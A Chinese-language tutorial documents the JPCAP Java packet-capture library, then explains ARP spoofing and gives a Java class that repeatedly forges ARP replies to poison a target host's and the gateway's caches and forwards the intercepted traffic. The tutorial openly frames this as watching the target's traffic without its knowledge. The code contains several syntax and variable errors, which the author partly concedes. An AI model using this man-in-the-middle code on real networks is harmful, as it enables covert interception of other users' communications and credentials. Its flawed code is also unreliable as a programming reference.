JPCAP——JAVA中的数据链路层控制

JPCAP——JAVA中的数据链路层控制

 

一．JPCAP简介

众所周知，JAVA语言虽然在TCP/UDP传输方面给予了良好的定义，但对于网络层以下的控制，却是无能为力的。JPCAP扩展包弥补了这一点。

JPCAP实际上并非一个真正去实现对数据链路层的控制，而是一个中间件，JPCAP调用wincap/libpcap，而给JAVA语言提供一个公共的接口，从而实现了平台无关性。在官方网站上声明，JPCAP支持FreeBSD 3.x, Linux RedHat
6.1, Fedora Core 4, Solaris, and Microsoft Windows 2000/XP等系统。

二．JPCAP机制

       JPCAP的整个结构大体上跟wincap/libpcap是很相像的，例如NetworkInterface类对应wincap的typedef struct
_ADAPTER  ADAPTER，getDeviceList()对应pcap_findalldevs()等等。 JPCAP有16个类，下面就其中最重要的4个类做说明。

 

1．NetworkInterface

该类的每一个实例代表一个网络设备，一般就是网卡。这个类只有一些数据成员，除了继承自java.lang.Object的基本方法以外，没有定义其它方法。

 

数据成员
[align=right]NetworkInterfaceAddress[][/align]	[align=left]addresses[/align] [align=left]    这个接口的网络地址。设定为数组应该是考虑到有些设备同时连接多条线路，例如路由器。但我们的PC机的网卡一般只有一条线路，所以我们一般取addresses[0]就够了。[/align]
[align=right] java.lang.String[/align]	[align=left]datalink_description.[/align]     数据链路层的描述。描述所在的局域网是什么网。例如，以太网（Ethernet）、无线LAN网（wireless LAN）、令牌环网(token ring)等等。
[align=right] java.lang.String[/align]	[align=left]datalink_name[/align] [align=left]   该网络设备所对应数据链路层的名称。具体来说，例如Ethernet10M、100M、1000M等等。[/align]
[align=right] java.lang.String[/align]	[align=left]description[/align]    网卡是XXXX牌子XXXX型号之类的描述。例如我的网卡描述：Realtek RTL8169/8110 Family Gigabit Ethernet NIC
[align=right] boolean[/align]	[align=left]LooPBack[/align] [align=left]    标志这个设备是否loopback设备。[/align]
[align=right] byte[][/align]	[align=left]mac_address[/align] [align=left]   网卡的MAC地址，6个字节。[/align]
[align=right] java.lang.String[/align]	[align=left]Name[/align] [align=left]    这个设备的名称。例如我的网卡名称：\Device\NPF_{3CE5FDA5-E15D-4F87-B217-255BCB351CD5}[/align]

 

2．JpcapCaptor

该类提供了一系列静态方法实现一些基本的功能。该类一个实例代表建立了一个与指定设备的链接，可以通过该类的实例来控制设备，例如设定网卡模式、设定过滤关键字等等。

 

数据成员
[align=right]  int [/align]	dropped_packets  抛弃的包的数目。
[align=right] protected  int [/align]	ID      这个数据成员在官方文档中并没有做任何说明，查看JPCAP源代码可以发现这个ID实际上在其JNI的C代码部分传进来的，这类本身并没有做出定义，所以是供其内部使用的。实际上在对JpcapCator实例的使用中也没有办法调用此数据成员。
[align=right] protected static boolean[] [/align]	instanciatedFlag    同样在官方文档中没有做任何说明，估计其为供内部使用。
[align=right] protected static int [/align]	MAX_NUMBER_OF_INSTANCE 同样在官方文档中没有做任何说明，估计其为供内部使用。
[align=right] int [/align]	received_packets         收到的包的数目
方法成员
[align=right] static NetworkInterface[] [/align]	getDeviceList ()             返回一个网络设备列表。
[align=right] static JpcapCaptor [/align]	openDevice (NetworkInterface interface, int snaplen, boolean promisc, int to_ms)            创建一个与指定设备的连接并返回该连接。注意，以上两个方法都是静态方法。       Interface：要打开连接的设备的实例；       Snaplen：这个是比较容易搞混的一个参数。其实这个参数不是限制只能捕捉多少数据包，而是限制每一次收到一个数据包，只提取该数据包中前多少字节；       Promisc：设置是否混杂模式。处于混杂模式将接收所有数据包，若之后又调用了包过滤函数setFilter()将不起任何作用；       To_ms：这个参数主要用于processPacket()方法，指定超时的时间；
[align=right]  void [/align]	Close ()           关闭调用该方法的设备的连接，相对于openDivece()打开连接。
[align=right]  JpcapSender [/align]	getJpcapSenderInstance ()             该返回一个JpcapSender实例，JpcapSender类是专门用于控制设备的发送数据包的功能的类。
[align=right]  Packet [/align]	getPacket ()             捕捉并返回一个数据包。这是JpcapCaptor实例中四种捕捉包的方法之一。
[align=right]  int [/align]	loopPacket (int count, PacketReceiver handler)             捕捉指定数目的数据包，并交由实现了PacketReceiver接口的类的实例处理，并返回捕捉到的数据包数目。如果count参数设为－1，那么无限循环地捕捉数据。       这个方法不受超时的影响。还记得openDivice()中的to_ms参数么？那个参数对这个方法没有影响，如果没有捕捉到指定数目数据包，那么这个方法将一直阻塞等待。 PacketReceiver中只有一个抽象方法void receive(Packet p)。
[align=right]  int [/align]	processPacket (int count, PacketReceiver handler)              跟 loopPacket () 功能一样，唯一的区别是这个方法受超时的影响，超过指定时间自动返回捕捉到数据包的数目。
[align=right]  int [/align]	dispatchPacket (int count, PacketReceiver handler)         跟 processPacket () 功能一样，区别是这个方法可以处于“non-blocking”模式工作，在这种模式下dispatchPacket()可能立即返回，即使没有捕捉到任何数据包。
[align=right]  void [/align]	setFilter (java.lang.String condition, boolean optimize)             . condition ： 设定要提取的包的关键字。         Optimize ：这个参数在说明文档以及源代码中都没有说明，只是说这个参数如果为真，那么过滤器将处于优化模式。
[align=right]  void [/align]	setNonBlockingMode (boolean nonblocking)      如果值为“true”，那么设定为“non-blocking”模式。
[align=right]  void [/align]	breakLoop ()      当调用processPacket()和loopPacket()后，再调用这个方法可以强制让processPacket()和loopPacket()停止。

 

3．JpcapSender

该类专门用于控制数据包的发送。

 

方法成员
[align=right]  void [/align]	close ()             强制关闭这个连接。
[align=right] static JpcapSender [/align]	openRawSocket ()      这个方法返回的JpcapSender实例发送数据包时将自动填写数据链路层头部分。
[align=right]  void [/align]	sendPacket (Packet packet)             JpcapSender最重要的功能，发送数据包。需要注意的是，如果调用这个方法的实例是由JpcapCaptor的 getJpcapSenderInstance () 得到的话，需要自己设定数据链路层的头，而如果是由上面的openRawSocket() 得到的话，那么无需也不能设置，数据链路层的头部将由系统自动生成。

 

4．Packet

这个是所有其它数据包类的父类。Jpcap所支持的数据包有：
ARPPacket、DatalinkPacket、EthernetPacket、ICMPPacket、IPPacket、TCPPacket、UDPPacket

 

三．使用JPCAP实现监听

       1．监听原理

       在详细说用JPCAP实现网络监听实现前，先简单介绍下监听的原理。

       局域网监听利用的是所谓的“ARP欺骗”技术。在以前曾经一段阶段，局域网的布局是使用总线式（或集线式）结构，要到达监听只需要将网卡设定为混杂模式即可，但现在的局域网络普遍采用的是交换式网络，所以单纯靠混杂模式来达到监听的方法已经不可行了。所以为了达到监听的目的，我们需要“欺骗”路由器、“欺骗”交换机，即“ARP欺骗”技术。

       假设本机为A，监听目标为B。

首先，伪造一个ARP REPLY包，数据链路层头及ARP内容部分的源MAC地址填入A的MAC地址，而源IP部分填入网关IP，目的地址填入B的MAC、IP，然后将这个包发送给B，而B接收到这个伪造的ARP REPLY包后，由于源IP为网关IP，于是在它的ARP缓存表里刷新了一项，将（网关IP，网关MAC）刷新成（网关IP，A的MAC）。而B要访问外部的网都需要经过网关，这时候这些要经过网关的包就通通流到A的机器上来了。

接着，再伪造一个ARP REPLY包，数据链路层头及ARP内容部分的源MAC地址填入A的MAC地址，而源IP部分填入B的IP，目的地址填入网关MAC、IP，然后将这个包发给网关，网关接收到这个伪造的ARP REPLY包后，由于源IP为B的IP，于是在它的ARP缓存表里刷新了一项，将（B的IP，B的MAC）刷新成（B的IP，A的MAC）。这时候外部传给B的数据包经过网关时，就通通转发给A。

这样还只是拦截了B的数据包而已，B并不能上网——解决方法是将接收到的包，除了目的地址部分稍做修改，其它原封不动的再转发出去，这样就达到了监听的目的——在B不知不觉中浏览了B所有的对外数据包。

 

ARP数据包解析

单元：Byte

Ethernet头部	ARP数据部分
６	６	２	2	2	2	2	４	６	４	６
目标MAC地址	源地MAC地址	类型号0x0800:ip 0x0806:ARP	局域网类型 以太网0x0001	网络协议类型 IP网络0x0800	MAC/IP地址长度，恒为0x06/04	ARP包类型 REPLY 0x0002	ARP目标IP地址	ARP目标MAC 地址	ARP源IP地址	ARP源MAC地址

 

2．用JPCAP实现监听

       就如上面说的，为了实现监听，我们必须做四件事：

A．发送ARP包修改B的ARP缓存表；

B．发送ARP包修改路由ARP缓存表；

C．转发B发过来的数据包；

D．转发路由发过来的数据包；

 

下面我们给个小小的例子说明怎样实现。

我们假定运行这个程序的机器A只有一个网卡，只接一个网络，所在局域网为Ethernet，并且假定已经通过某种方式获得B和网关的MAC地址（例如ARP解析获得）。我们修改了B和网关的ARP表，并对他们的包进行了转发。

public class changeARP{

         private NetworkInterface[] devices;                           //设备列表

         private NetworkInterface device;                               //要使用的设备

         private JpcapCaptor jpcap;                                        //与设备的连接

         private JpcapSender sender;                                       //用于发送的实例

         private byte[] targetMAC, gateMAC;                       //B的MAC地址，网关的MAC地址

         private byte[] String targetIp, String gateIp;              //B的IP地址，网关的IP地址

         /**

         *初始化设备

         * JpcapCaptor.getDeviceList()得到设备可能会有两个，其中一个必定是“Generic

*dialup adapter”，这是Windows系统的虚拟网卡，并非真正的硬件设备。

*注意：在这里有一个小小的BUG，如果JpcapCaptor.getDeviceList()之前有类似JFrame
jf=new

*JFame（）这类的语句会影响得到设备个数，只会得到真正的硬件设备，而不会出现虚拟网卡。

*虚拟网卡只有MAC地址而没有IP地址，而且如果出现虚拟网卡，那么实际网卡的MAC将分

*配给虚拟网卡，也就是说在程序中调用device. mac_address时得到的是00
00 00 00 00 00。

         */

         private NetworkInterface getDevice() throws IOException {

                  devices = JpcapCaptor.getDeviceList();                                                 //获得设备列表

                   device = devices[0];                                                                                //只有一个设备

                   jpcap = JpcapCaptor.openDevice(device, 2000, false, 10000);             //打开与设备的连接

                   jpcap.setFilter(“ip”,true);                                                                       //只监听B的IP数据包

                   sender = captor.getJpcapSenderInstance();

         }

         /**

         *修改B和网关的ARP表。因为网关会定时发数据包刷新自己和B的缓存表，所以必须每隔一

         *段时间就发一次包重新更改B和网关的ARP表。

         *@参数 targetMAC          
B的MAC地址，可通过ARP解析得到；

         *@参数 targetIp                
B的IP地址；

         *@参数 gateMAC              网关的MAC地址；

         *@参数 gateIp                     网关的IP;

         */

         public changeARP(byte[] targetMAC, String targetIp,byte[] gateMAC, String gateIp)

                            throws UnknownHostException,InterruptedException {

                   this. targetMAC =  targetMAC;

                   this. targetIp =  targetIp;

                   this. gateMAC = gateMAC;

                   this. gateIp = gateIp;

                   getDevice();

                   arpTarget = new ARPPacket();                                                     //修改B的ARP表的ARP包

                   arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER;          //选择以太网类型(Ethernet)

                   arpTarget.prototype = ARPPacket.PROTOTYPE_IP;                //选择IP网络协议类型

                   arpTarget.operation = ARPPacket.ARP_REPLY;                         //选择REPLY类型

                   arpTarget.hlen = 6;                                                                        //MAC地址长度固定6个字节

                   arpTarget.plen = 4;                                                                        //IP地址长度固定4个字节

                   arpTarget.sender_hardaddr = device.mac_address;                       //A的MAC地址

                   arpTarget.sender_protoaddr = InetAddress.getByName(gateIp).getAddress();       //网关IP

                   arpTarget.target_hardaddr = targetMAC;                                               //B的MAC地址

                   arpTarget.target_protoaddr = InetAddress.getByName(targetIp).getAddress();     //B的IP

 

                   EthernetPacket ethToTarget = new EthernetPacket();                  //创建一个以太网头

                   ethToTarget.frametype = EthernetPacket.ETHERTYPE_ARP; //选择以太包类型

                   ethToTarget.src_mac = device.mac_address;                                 //A的MAC地址

                   ethToTarget.dst_mac = targetMAC;                                             //B的MAC地址

                   arpTarget.datalink = ethToTarget;                                                 //将以太头添加到ARP包前

 

                   arpGate = new ARPPacket();                                                                 //修改网关ARP表的包

                   arpGate.hardtype = ARPPacket.HARDTYPE_ETHER;             //跟以上相似，不再重复注析

                   arpGate.prototype = ARPPacket.PROTOTYPE_IP;

                   arpGate.operation = ARPPacket.ARP_REPLY;

                   arpGate.hlen = 6;

                   arpGate.plen = 4;

                   arpGate.sender_hardaddr = device.mac_address;

                   arpGate.sender_protoaddr = InetAddress.getByName(targetIp).getAddress();

                   arpGate.target_hardaddr = gateMAC;

                   arpGate.target_protoaddr = InetAddress.getByName(gateIp).getAddress();

 

                   EthernetPacket ethToGate = new EthernetPacket();

                   ethToGate.frametype = EthernetPacket.ETHERTYPE_ARP;

                   ethToGate.src_mac = device.mac_address;

                   ethToGate.dst_mac = gateMAC;

                   arpGate.datalink = ethToGate;

                  

                   thread=new Thread(new Runnable(){                                 //创建一个进程控制发包速度

                            public void run() {

                                      while (true) {

                                               sender.sendPacket(arpTarget);

                                               sender.sendPacket(arpGate);

                                               Thread.sleep(500);

                   }).start();

                   recP();                                                                                   //接收数据包并转发

}

/**

*修改包的以太头，转发数据包

*参数 packet               收到的数据包

*参数 changeMAC     要转发出去的目标

*/

private void send(Packet packet, byte[] changeMAC) {                      

                   EthernetPacket eth;

                   if (packet.datalink instanceof EthernetPacket) {

                            eth = (EthernetPacket) packet.datalink;

                            for (int i = 0; i < 6; i++) {

                                     eth.dst_mac[i] = changeMAC[i];                      //修改包以太头，改变包的目标

                                     eth.src_mac[i] = device.mac_address[i];            //源发送者为A

                            }

                            sender.sendPacket(packet);

                   }

}

/**

*打印接受到的数据包并转发

*/

public void recP(){

         IPPacket ipPacket = null;

         while(true){

                  ipPacket = （IPPacket）jpcap.getPacket();

                            System.out.println(ipPacket);

                           if (ipPacket.src_ip.getHostAddress().equals(targetIp))

                                     send(packet, gateMAC);

                            else

                                     send(packet, targetMAC);

                   }

}

 

注意：这个例子只是为了说明问题，并没有考虑到程序的健壮性，所以并不一定能在任何一台机器任何一个系统上运行。